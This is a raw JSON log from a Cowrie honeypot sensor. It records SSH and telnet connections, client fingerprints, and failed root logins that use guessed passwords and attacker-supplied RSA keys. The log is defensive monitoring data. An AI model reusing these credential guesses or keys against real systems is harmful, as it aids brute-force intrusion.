{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:01.665702Z","src_ip":"80.66.85.226","session":"41c9d2affdbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:01.754256Z","src_ip":"80.66.85.226","session":"41c9d2affdbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"forget","message":"login attempt [root/forget] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:02.026564Z","src_ip":"80.66.85.226","session":"41c9d2affdbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:03.120903Z","src_ip":"80.66.85.226","session":"41c9d2affdbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33844,"dst_ip":"159.203.135.109","dst_port":23,"session":"766ecea02526","protocol":"telnet","message":"New connection: 135.148.14.151:33844 (159.203.135.109:23) [session: 766ecea02526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:07.595784Z"}
{"eventid":"cowrie.session.closed","duration":36.95794177055359,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:15.376687Z","src_ip":"135.148.14.151","session":"bfd3a537d127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.64623236656189,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:16.452829Z","src_ip":"135.148.14.151","session":"4646385e759c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80597138404846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:20.253838Z","src_ip":"135.148.14.151","session":"1670226be635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39288,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b30419b57be","protocol":"telnet","message":"New connection: 135.148.14.151:39288 (159.203.135.109:23) [session: 0b30419b57be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:21.295624Z"}
{"eventid":"cowrie.session.closed","duration":36.55825328826904,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:23.859573Z","src_ip":"135.148.14.151","session":"157403d9c65a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41726,"dst_ip":"159.203.135.109","dst_port":23,"session":"c467d94b3e09","protocol":"telnet","message":"New connection: 135.148.14.151:41726 (159.203.135.109:23) [session: c467d94b3e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:24.769695Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":46776,"dst_ip":"159.203.135.109","dst_port":22,"session":"78a4ca56885d","protocol":"ssh","message":"New connection: 193.228.128.84:46776 (159.203.135.109:22) [session: 78a4ca56885d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:30.467655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:30.490615Z","src_ip":"193.228.128.84","session":"78a4ca56885d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:30.572682Z","src_ip":"193.228.128.84","session":"78a4ca56885d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147852zes","message":"login attempt [root/147852zes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:31.403875Z","src_ip":"193.228.128.84","session":"78a4ca56885d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.517212867736816,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:32.022938Z","src_ip":"135.148.14.151","session":"3874b76da564","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:32.508901Z","src_ip":"193.228.128.84","session":"78a4ca56885d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.57.43","src_port":60064,"dst_ip":"10.17.0.5","dst_port":22,"session":"c285452db16d","protocol":"ssh","message":"New connection: 68.235.57.43:60064 (10.17.0.5:22) [session: c285452db16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:37.847366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:37.852253Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:37.889162Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:b0:1e:6c:67:af:bc:d0:0d:f0:57:ad:cf:fb:c6:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIJYcD12UIy9iQCqkbLL1O4XOTrXi+5cYnrxUvfIaE+ojl8Gl+pligLdtn6ReH1+uWJUs9rGQDjHdmULSxPYs9CE0ZN+fjSn2/SbZSLbuWzUkJsD/gmk7i3aI4wLuDDGm8r6VSkG+R2XWeBi/6Ob/nGQucROWFNuC/o+nr5GPSwAPYlSPNd6bUIi7QXHxeryq0KX3L+ResaRy9crghRUJoc2c5MNjCA9tjKxk2+dTcHRE8WFF7WmexSH+r3jpgbHGugr1geA7B+WY11bxbdRBB5g3bmCOFWBvtw0d+oFJo7I8CcHw4/hBq7Sbgn0blQIKVZn0zEOhiS01taVJBmHYX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:b0:1e:6c:67:af:bc:d0:0d:f0:57:ad:cf:fb:c6:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.037759Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:b0:1e:6c:67:af:bc:d0:0d:f0:57:ad:cf:fb:c6:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIJYcD12UIy9iQCqkbLL1O4XOTrXi+5cYnrxUvfIaE+ojl8Gl+pligLdtn6ReH1+uWJUs9rGQDjHdmULSxPYs9CE0ZN+fjSn2/SbZSLbuWzUkJsD/gmk7i3aI4wLuDDGm8r6VSkG+R2XWeBi/6Ob/nGQucROWFNuC/o+nr5GPSwAPYlSPNd6bUIi7QXHxeryq0KX3L+ResaRy9crghRUJoc2c5MNjCA9tjKxk2+dTcHRE8WFF7WmexSH+r3jpgbHGugr1geA7B+WY11bxbdRBB5g3bmCOFWBvtw0d+oFJo7I8CcHw4/hBq7Sbgn0blQIKVZn0zEOhiS01taVJBmHYX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.041646Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:9e:59:70:fe:a2:8d:96:b7:e6:fd:e7:55:b5:b7:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3Aqw5CewZCkAybdbPUZeEG1eJOxGHQQXF8pWiN4XE0leVyAPghJZJPNl1xxXl8yIkLSgEZnVsbt+iQjdMdhUSc7IbyAK+zCn6bNyknDtEvyR9O8RtvLK4hrEe1EBdQZX/FMqB3s2/uDJNCUZavXhO0JDnG8cGRZnnFjyykyFbUM5Nv59cD3elRJcArrxXcH1mysFzlcauVBX8kcEZsz/zuJ6flM8tAciPBHLuz5+h8fwB+8QxpkXW3lemxd5157UjXjJHdK4ThkVUUekDqTnpNAfBJsxFQN0/ZOuguHU8Unsj1xK93FqxCHtEMzksheoi7p6F8aydKr0+RpophnPk1I2X4owJV7IFTovZbE5Mgex+06piFGSqzkA3HgPdxwi3/U4itglHH1748oq13TSVmLecOm1a/7SyBNC5iY9otMAcyMC+OPVaLPuIBJbpZ47u/Uh9weThrBB0piE06GjMZMxOJtQmi4BSB5QPX2gJ8rFfeTf3xGVrJofaPXp9MrU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:9e:59:70:fe:a2:8d:96:b7:e6:fd:e7:55:b5:b7:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.076250Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:9e:59:70:fe:a2:8d:96:b7:e6:fd:e7:55:b5:b7:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3Aqw5CewZCkAybdbPUZeEG1eJOxGHQQXF8pWiN4XE0leVyAPghJZJPNl1xxXl8yIkLSgEZnVsbt+iQjdMdhUSc7IbyAK+zCn6bNyknDtEvyR9O8RtvLK4hrEe1EBdQZX/FMqB3s2/uDJNCUZavXhO0JDnG8cGRZnnFjyykyFbUM5Nv59cD3elRJcArrxXcH1mysFzlcauVBX8kcEZsz/zuJ6flM8tAciPBHLuz5+h8fwB+8QxpkXW3lemxd5157UjXjJHdK4ThkVUUekDqTnpNAfBJsxFQN0/ZOuguHU8Unsj1xK93FqxCHtEMzksheoi7p6F8aydKr0+RpophnPk1I2X4owJV7IFTovZbE5Mgex+06piFGSqzkA3HgPdxwi3/U4itglHH1748oq13TSVmLecOm1a/7SyBNC5iY9otMAcyMC+OPVaLPuIBJbpZ47u/Uh9weThrBB0piE06GjMZMxOJtQmi4BSB5QPX2gJ8rFfeTf3xGVrJofaPXp9MrU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.079930Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:27:46:b3:01:4a:5d:57:35:ce:f1:79:ac:ec:57:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsS0lbz1oomzXuca4OA56ki16KJnBrFIbUiV/5X8NrdrQ7GADVi3AWafcm2Axa+u/ZN425Y2U6/8JxUfS/UjB2qPmKXzDi1FJmsF12qcBVSfY4ZDkSjHwVSoiXi+NGOYX5JVB49mPvJw/2jj96wSzDMg/dcivIuRdiWCdXYznAl26ouPY29lAaOLW/MOnKAcx2+NXIkY+e9O6vLJ7tOtjp6H5pahsbnmbVMwSvu3flJ6aYyJknvwKr5s10AF4FiORsSgsds/OYUiReHmEIL2n764GfViczbl35Mc7hUq3k7c42L3U6ylMM0L//p7WCbCxY7ppl76Soxe3kWNglzDgJWZN4ksoeZT39A4iu9UpqoDz8SMvbRq0viXvEJfA5qYu0eYSGjnkOskH7ojnrmCeI/UoSho8w8zuR76lkE/eS29fK9fZ5aXideeYhyj72QKzASwzTOTuG2sb9kRUtd03ezv3wSSKHwT+hr+XcYLciMyAsQISnim2ucS08DWTMm1u4GUCOLKKZv4c7jWBk18PxMJpvdztUlePvlA+t9Bllkf2bxha7qhk6yQ6uUuldzrGz8rqHz/00aPKSLlQMMo4XaPjGXuBzzFba2c2KkctVJ1ZY6pno6DeqCZjsaucVDfaLt7wuzNcpAazUnK4HxUKugWPruaJOUPlLrbZrBjploQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:27:46:b3:01:4a:5d:57:35:ce:f1:79:ac:ec:57:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.116357Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:27:46:b3:01:4a:5d:57:35:ce:f1:79:ac:ec:57:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsS0lbz1oomzXuca4OA56ki16KJnBrFIbUiV/5X8NrdrQ7GADVi3AWafcm2Axa+u/ZN425Y2U6/8JxUfS/UjB2qPmKXzDi1FJmsF12qcBVSfY4ZDkSjHwVSoiXi+NGOYX5JVB49mPvJw/2jj96wSzDMg/dcivIuRdiWCdXYznAl26ouPY29lAaOLW/MOnKAcx2+NXIkY+e9O6vLJ7tOtjp6H5pahsbnmbVMwSvu3flJ6aYyJknvwKr5s10AF4FiORsSgsds/OYUiReHmEIL2n764GfViczbl35Mc7hUq3k7c42L3U6ylMM0L//p7WCbCxY7ppl76Soxe3kWNglzDgJWZN4ksoeZT39A4iu9UpqoDz8SMvbRq0viXvEJfA5qYu0eYSGjnkOskH7ojnrmCeI/UoSho8w8zuR76lkE/eS29fK9fZ5aXideeYhyj72QKzASwzTOTuG2sb9kRUtd03ezv3wSSKHwT+hr+XcYLciMyAsQISnim2ucS08DWTMm1u4GUCOLKKZv4c7jWBk18PxMJpvdztUlePvlA+t9Bllkf2bxha7qhk6yQ6uUuldzrGz8rqHz/00aPKSLlQMMo4XaPjGXuBzzFba2c2KkctVJ1ZY6pno6DeqCZjsaucVDfaLt7wuzNcpAazUnK4HxUKugWPruaJOUPlLrbZrBjploQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.120197Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:f8:f2:75:69:98:dd:dc:99:db:1a:90:d9:11:53:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLsw0F/TDaEF94OFxxYfHDbnmnvvIxNByn4TOBGGlhwxSk9kJaCq9KOSHcCSfEbXgFhAtZGxoGZPRY2205GLxl/U7LnRhgrQGBCB/xkWES9OSog7xigQyaGzDFaiwE6DjWzUneUrnOqOu4JdZ8ktS7KYJCo6O/36TFErwIbIpb+5uywoyhMLRqquaelwL63qw34GIJ5MzGQlkgvhg7KmRLfP+uo1l0VoVGl4W1krLlWgy/Cv44fk+oF4MP9TVOS2jdwOh94qd+6QU8PCyxIfXN/S65M8LPcVlCFam3eMuAiA3Sbl86GACDhUxq7dV3UYQh1nRy9rb/rqA9U1FN0GOsp8tt2+CxP7Q/MisC17J2GU0+a4p76L3SbmbjRjFlUJE3xyrz2FA6MwmaTmbIcg53IewMnb3n7gSQJrSnjSmrC3wY/lQklR4gv3MZ4VPNh1EMzEB3hRGULy1FADaSF982i8mfhnTEa/gstShY26NpUQAJ4V6lxdP6l5lgOWJd+W7fWvA0I1dW+xyt4c7ybVR8sOrEbZjgTlfVWIGVbPjV2UZjhxVkkFcgLJORT0nqFvztmmdxdC/YxrVOq7ejRIdt06slxRS5dtWY+JL/AkbZQAdliWjSGjZxJz4cZcF8830AGeEagZBEqr3tqBl2wZ1e3qdQm5YHG5UWXUHp+1+hRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:f8:f2:75:69:98:dd:dc:99:db:1a:90:d9:11:53:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.154909Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:f8:f2:75:69:98:dd:dc:99:db:1a:90:d9:11:53:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLsw0F/TDaEF94OFxxYfHDbnmnvvIxNByn4TOBGGlhwxSk9kJaCq9KOSHcCSfEbXgFhAtZGxoGZPRY2205GLxl/U7LnRhgrQGBCB/xkWES9OSog7xigQyaGzDFaiwE6DjWzUneUrnOqOu4JdZ8ktS7KYJCo6O/36TFErwIbIpb+5uywoyhMLRqquaelwL63qw34GIJ5MzGQlkgvhg7KmRLfP+uo1l0VoVGl4W1krLlWgy/Cv44fk+oF4MP9TVOS2jdwOh94qd+6QU8PCyxIfXN/S65M8LPcVlCFam3eMuAiA3Sbl86GACDhUxq7dV3UYQh1nRy9rb/rqA9U1FN0GOsp8tt2+CxP7Q/MisC17J2GU0+a4p76L3SbmbjRjFlUJE3xyrz2FA6MwmaTmbIcg53IewMnb3n7gSQJrSnjSmrC3wY/lQklR4gv3MZ4VPNh1EMzEB3hRGULy1FADaSF982i8mfhnTEa/gstShY26NpUQAJ4V6lxdP6l5lgOWJd+W7fWvA0I1dW+xyt4c7ybVR8sOrEbZjgTlfVWIGVbPjV2UZjhxVkkFcgLJORT0nqFvztmmdxdC/YxrVOq7ejRIdt06slxRS5dtWY+JL/AkbZQAdliWjSGjZxJz4cZcF8830AGeEagZBEqr3tqBl2wZ1e3qdQm5YHG5UWXUHp+1+hRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.158991Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:5d:a5:4d:1c:f4:67:d3:3a:d8:4d:12:33:88:c8:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwnlROM6XwE1ROhvdWDdAXEuSHUzSw2RcK811Rnag1+sGlNra4prXG/eofeq5AnrNPyeEDK3iZCPhczII0rHc574Ez37sddGYVCDGypldBm/3gGOMB6W3ctpbFeNkwLbEPgT2IEla1peEtnuaDueERetCm0WSa9CjcmtIkJBoWU/5RftVNIFUVBVLWZ3DB+Jvkb0zbkF0vtIN1A1vPSM3Zws24vC57OmmdYm4HQY7A5wTxVV4Bfbo2MUIW/BQ5z5VjzO3lDBwqpKeO9nT7Jiiy7/vQOmWeDZF4R13P9uxER3487l6n2kbjvzOnr1HNeoEv3DiKzDkmBOBlF9PddJv/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:5d:a5:4d:1c:f4:67:d3:3a:d8:4d:12:33:88:c8:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.194429Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:5d:a5:4d:1c:f4:67:d3:3a:d8:4d:12:33:88:c8:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwnlROM6XwE1ROhvdWDdAXEuSHUzSw2RcK811Rnag1+sGlNra4prXG/eofeq5AnrNPyeEDK3iZCPhczII0rHc574Ez37sddGYVCDGypldBm/3gGOMB6W3ctpbFeNkwLbEPgT2IEla1peEtnuaDueERetCm0WSa9CjcmtIkJBoWU/5RftVNIFUVBVLWZ3DB+Jvkb0zbkF0vtIN1A1vPSM3Zws24vC57OmmdYm4HQY7A5wTxVV4Bfbo2MUIW/BQ5z5VjzO3lDBwqpKeO9nT7Jiiy7/vQOmWeDZF4R13P9uxER3487l6n2kbjvzOnr1HNeoEv3DiKzDkmBOBlF9PddJv/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.198372Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:38.233881Z","src_ip":"68.235.57.43","session":"c285452db16d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.119548320770264,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:41.715183Z","src_ip":"135.148.14.151","session":"766ecea02526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49490,"dst_ip":"159.203.135.109","dst_port":23,"session":"300fee3bf17b","protocol":"telnet","message":"New connection: 135.148.14.151:49490 (159.203.135.109:23) [session: 300fee3bf17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:41.793893Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51026,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bfeec4d8e26","protocol":"telnet","message":"New connection: 135.148.14.151:51026 (159.203.135.109:23) [session: 2bfeec4d8e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:45.085599Z"}
{"eventid":"cowrie.session.closed","duration":32.87076687812805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:54.166283Z","src_ip":"135.148.14.151","session":"0b30419b57be","protocol":"telnet"}
